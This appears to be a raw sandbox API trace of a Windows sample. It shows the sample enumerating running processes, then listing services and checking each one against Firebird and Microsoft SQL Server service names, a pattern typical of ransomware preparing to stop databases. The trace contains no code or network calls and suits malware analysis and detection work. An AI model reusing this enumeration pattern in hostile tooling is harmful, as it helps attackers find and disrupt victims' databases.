	[0060.478] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.478] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.479] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0060.479] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0060.479] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0060.480] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0060.480] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0060.481] lstrlenW (lpString="msoia.exe") returned 9
	[0060.481] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0060.481] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0060.481] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0060.482] lstrlenW (lpString="msoia.exe") returned 9
	[0060.482] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0060.483] lstrlenW (lpString="roof.exe") returned 8
	[0060.483] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0060.483] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0060.483] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0060.484] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0060.484] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0060.485] lstrlenW (lpString="cause.exe") returned 9
	[0060.485] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0060.485] lstrlenW (lpString="occasionstax.exe") returned 16
	[0060.485] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0060.486] lstrlenW (lpString="distributors.exe") returned 16
	[0060.486] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0060.487] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0060.487] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0060.487] lstrlenW (lpString="rand.exe") returned 8
	[0060.488] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0060.488] lstrlenW (lpString="unlikely.exe") returned 12
	[0060.488] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0060.489] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0060.489] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0060.490] lstrlenW (lpString="promotion.exe") returned 13
	[0060.490] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0060.490] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0060.490] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0060.491] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0060.491] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0060.492] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0060.492] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0060.493] lstrlenW (lpString="bad-length.exe") returned 14
	[0060.493] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0060.494] lstrlenW (lpString="unit.exe") returned 8
	[0060.494] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0060.494] lstrlenW (lpString="parents.exe") returned 11
	[0060.495] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0060.495] lstrlenW (lpString="charge.exe") returned 10
	[0060.495] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0060.496] lstrlenW (lpString="measures-provision.exe") returned 22
	[0060.496] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0060.497] lstrlenW (lpString="dllhost.exe") returned 11
	[0060.497] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.498] lstrlenW (lpString="conhost.exe") returned 11
	[0060.498] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.499] lstrlenW (lpString="conhost.exe") returned 11
	[0060.499] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0060.499] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0060.499] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0060.500] lstrlenW (lpString="cmd.exe") returned 7
	[0060.500] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.501] lstrlenW (lpString="conhost.exe") returned 11
	[0060.501] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.502] lstrlenW (lpString="svchost.exe") returned 11
	[0060.502] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0060.502] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0060.503] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.503] lstrlenW (lpString="conhost.exe") returned 11
	[0060.503] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.504] lstrlenW (lpString="svchost.exe") returned 11
	[0060.504] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0060.505] lstrlenW (lpString="LogonUI.exe") returned 11
	[0060.505] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0060.505] CloseHandle (hObject=0x384) returned 1
	[0060.505] Sleep (dwMilliseconds=0x1f4) 
	[0061.019] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fda0
	[0061.020] EnumServicesStatusExW (in: hSCManager=0x68fda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0061.020] GetLastError () returned 0xea
	[0061.020] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x3bfae80
	[0061.020] EnumServicesStatusExW (in: hSCManager=0x68fda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0061.021] CloseServiceHandle (hSCObject=0x68fda0) returned 1
	[0061.021] lstrlenW (lpString="Appinfo") returned 7
	[0061.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0061.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0061.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0061.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0061.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0061.021] lstrlenW (lpString="AppXSvc") returned 7
	[0061.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.021] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0061.021] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0061.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0061.021] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0061.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.021] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0061.022] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0061.022] lstrlenW (lpString="Audiosrv") returned 8
	[0061.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0061.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0061.022] lstrlenW (lpString="BFE") returned 3
	[0061.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0061.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0061.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0061.022] lstrlenW (lpString="BITS") returned 4
	[0061.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0061.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0061.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0061.022] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0061.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0061.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0061.023] lstrlenW (lpString="CDPSvc") returned 6
	[0061.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0061.023] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0061.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0061.023] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0061.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0061.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0061.023] lstrlenW (lpString="CryptSvc") returned 8
	[0061.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0061.023] lstrlenW (lpString="DcomLaunch") returned 10
	[0061.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0061.023] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0061.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0061.024] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0061.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0061.024] lstrlenW (lpString="Dhcp") returned 4
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0061.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0061.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0061.024] lstrlenW (lpString="Dnscache") returned 8
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0061.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0061.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0061.024] lstrlenW (lpString="DoSvc") returned 5
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0061.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0061.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0061.024] lstrlenW (lpString="DPS") returned 3
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0061.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0061.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0061.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0061.024] lstrlenW (lpString="DusmSvc") returned 7
	[0061.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0061.025] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0061.025] lstrlenW (lpString="EventLog") returned 8
	[0061.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0061.025] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0061.025] lstrlenW (lpString="EventSystem") returned 11
	[0061.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0061.025] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0061.025] lstrlenW (lpString="FontCache") returned 9
	[0061.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0061.025] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0061.025] lstrlenW (lpString="gpsvc") returned 5
	[0061.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0061.025] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0061.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0061.025] lstrlenW (lpString="iphlpsvc") returned 8
	[0061.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.025] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0061.026] lstrlenW (lpString="KeyIso") returned 6
